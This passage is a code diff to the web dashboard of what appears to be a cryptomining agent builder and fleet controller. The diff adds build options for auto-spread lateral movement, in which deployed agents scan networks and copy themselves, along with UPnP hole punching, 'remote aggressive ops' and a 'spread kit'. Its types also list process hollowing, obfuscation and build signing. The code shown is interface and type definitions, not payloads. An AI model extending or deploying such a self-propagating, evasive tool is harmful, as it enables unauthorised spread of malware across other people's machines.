punch, and remote aggressive ops (dashboard buttons)." /> <div className="form-group checkbox-group"> <label className="checkbox-label"> <input type="checkbox" className="checkbox" checked={form.ai_enabled} onChange={(e) => updateField('ai_enabled', e.target.checked)} /> - <span>Enable AI自治 (AI Autonomy) <HelpTip field="ai_enabled" /></span> + <span>Enable AI Autonomy (Ollama) <HelpTip field="ai_enabled" /></span> </label> <FieldHint field="ai_enabled" /> </div> @@ -1429,11 +1678,41 @@ export default function BuilderPage() { <div className="form-group checkbox-group"> <label className="checkbox-label"> <input type="checkbox" className="checkbox" checked={form.auto_spread} - onChange={(e) => updateField('auto_spread', e.target.checked)} /> + onChange={(e) => { + const checked = e.target.checked; + if (checked && !window.confirm( + 'Enable Auto-Spread?\n\n' + + 'When baked ON, every deployed agent will automatically attempt lateral movement ' + + 'across the local network on a timer — scanning for reachable hosts and copying itself.\n\n' + + 'This is aggressive behaviour. Only enable it if you have explicit permission on every network this agent may reach.' + )) return; + updateField('auto_spread', checked); + }} /> <span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span> </label> + {form.auto_spread && ( + <p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}> + ⚠ Auto-Spread is ON — every agent forged with this config will scan and propagate automatically. + </p> + )} <FieldHint field="auto_spread" /> </div> + <div className="form-group checkbox-group"> + <label className="checkbox-label"> + <input type="checkbox" className="checkbox" checked={!!form.hole_punch} + onChange={(e) => updateField('hole_punch', e.target.checked)} /> + <span>Enable NAT Hole Punch (UPnP) <HelpTip field="hole_punch" /></span> + </label> + <FieldHint field="hole_punch" /> + </div> + <div className="form-group checkbox-group"> + <label className="checkbox-label"> + <input type="checkbox" className="checkbox" checked={!!form.remote_aggressive} + onChange={(e) => updateField('remote_aggressive', e.target.checked)} /> + <span>Enable Remote Aggressive Ops (dashboard buttons) <HelpTip field="remote_aggressive" /></span> + </label> + <FieldHint field="remote_aggressive" /> + </div> </div> </> )} @@ -1471,7 +1750,7 @@ export default function BuilderPage() { <div className="card recent-builds"> <h2>Installer Ready</h2> <div className="build-success"> - <p><strong>Run this once on each Windows machine:</strong></p> + <p><strong>Deploy to each machine:</strong></p> {lastBuild.fusion_enabled && ( <p className="form-hint">Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p> )} diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx index 3aeffb5..12f77da 100644 --- a/server/web/src/pages/DashboardPage.tsx +++ b/server/web/src/pages/DashboardPage.tsx @@ -21,7 +21,6 @@ import { formatUptime, } from '../help/fleetFilters'; import type { FleetFilterState } from '../help/fleetFilters'; -import '../components/Fleet/AgentRemoteActions.css'; import './Pages.css'; export default function DashboardPage() { const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket(); @@ -309,6 +308,11 @@ export default function DashboardPage() { /> <span className={`status-dot ${agent.status}`} /> <span>{agent.name}</span> + {agent.platform && ( + <span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}> + {agent.platform}{agent.arch ? `/${agent.arch}` : ''} + </span> + )} </div> <span className={`status-badge ${agent.status}`}>{agent.status}</span> </div> diff --git a/server/web/src/pages/Pages.css b/server/web/src/pages/Pages.css index e1b3a12..3b7f5b5 100644 --- a/server/web/src/pages/Pages.css +++ b/server/web/src/pages/Pages.css @@ -1125,6 +1125,42 @@ color: var(--neon-amber); } +/* Inline input validation states */ +.input.input-warn { + border-color: var(--neon-amber, #fbbf24) !important; + box-shadow: 0 0 0 2px rgba(251, 191, 36, 0.25); +} +.input.input-error { + border-color: var(--neon-red, #ef4444) !important; + box-shadow: 0 0 0 2px rgba(239, 68, 68, 0.25); +} + +button.deliverable-card { + text-align: left; + cursor: pointer; + width: 100%; + color: inherit; + font: inherit; + transition: border-color 0.15s, background 0.15s; +} + +button.deliverable-card:hover { + border-color: rgba(251, 191, 36, 0.35); + background: rgba(251, 191, 36, 0.06); +} + +button.deliverable-card.deliverable-active { + border-color: var(--neon-amber); + background: rgba(251, 191, 36, 0.12); + box-shadow: 0 0 12px rgba(251, 191, 36, 0.15); +} + +button.deliverable-card .form-hint { + display: block; + margin-top: 0.35rem; + margin-bottom: 0; +} + .forge-live-notices { margin-bottom: 1rem; padding: 0.75rem 1rem; diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx index 1cdfa10..5f26b1b 100644 --- a/server/web/src/pages/SettingsPage.tsx +++ b/server/web/src/pages/SettingsPage.tsx @@ -6,6 +6,29 @@ import { HelpTip, FieldHint } from '../components/HelpTip'; import NeonCard from '../components/NeonCard/NeonCard'; import './Pages.css'; +/** Recursively merge `override` into `base`, preserving keys not in `override`. */ +function deepMerge<T extends object>(base: T, override: Partial<T>): T { + const result = { ...base } as T; + for (const key in override) { + const val = override[key]; + const baseVal = base[key]; + if ( + val !== null && + val !== undefined && + typeof val === 'object' && + !Array.isArray(val) && + typeof baseVal === 'object' && + baseVal !== null && + !Array.isArray(baseVal) + ) { + result[key] = deepMerge(baseVal as object, val as object) as T[typeof key]; + } else if (val !== undefined) { + result[key] = val as T[typeof key]; + } + } + return result; +} + export default function SettingsPage() { const [config, setConfig] = useState<ServerConfig | null>(null); const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null); @@ -98,7 +121,9 @@ export default function SettingsPage() { reader.onload = (evt) => { try { const data = JSON.parse(evt.target?.result as string); - setConfig((prev) => (prev ? { ...prev, ...data } : prev)); + // Deep-merge so importing a partial config (e.g. only "pool" key) doesn't + // wipe unrelated nested sections like "default_agent" or "mining". + setConfig((prev) => (prev ? deepMerge(prev, data) : prev)); setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`); } catch { setSaveMessage('Invalid JSON file.'); diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 167f7b5..83eb1bb 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -20,6 +20,19 @@ export interface Agent { uptime_seconds: number; notes?: string; tags?: string[]; + platform?: string; + arch?: string; + os_version?: string; + capabilities?: AgentCapabilities; +} + +export interface AgentCapabilities { + hole_punch: boolean; + remote_aggressive: boolean; + mesh_p2p: boolean; + auto_spread: boolean; + process_hollowing: boolean; + ai_enabled: boolean; } export interface Share { @@ -255,6 +268,11 @@ export interface BuildRequest { process_hollowing?: boolean; mesh_p2p?: boolean; auto_spread?: boolean; + hole_punch?: boolean; + remote_aggressive?: boolean; + target_os?: 'windows' | 'linux' | 'darwin' | 'universal'; + target_arch?: string; + spread_kit?: boolean; obfuscate?: boolean; sign_build?: boolean; }